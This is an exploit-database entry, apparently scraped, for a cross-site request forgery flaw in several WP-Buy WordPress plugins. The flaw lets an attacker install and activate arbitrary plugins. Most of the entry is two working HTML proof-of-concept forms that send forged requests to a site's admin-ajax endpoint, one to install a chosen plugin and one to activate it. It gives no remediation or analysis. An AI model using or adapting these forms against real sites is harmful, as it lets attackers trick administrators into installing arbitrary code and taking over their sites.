Exploit for Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via CSRF

Name: Exploit for Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via CSRF
Rating: 5 (105 reviews)

2021-04-22 | CVSS 1.5

## https://sploitus.com/exploit?id=WPEX-ID:3961132F-ECC1-4F41-83F1-3AC537143B38
Installation:
<html>
    <body>
        <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
            <input type="hidden" name="action" value="do_button_job_later" />
            <input type="hidden" name="slug" value="wpscan.1.14.4" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>

Activation:
<html>
    <body>
        <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
            <input type="hidden" name="action" value="do_button_job_later" />
            <input type="hidden" name="plugin_file" value="wpscan/wpscan.php" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>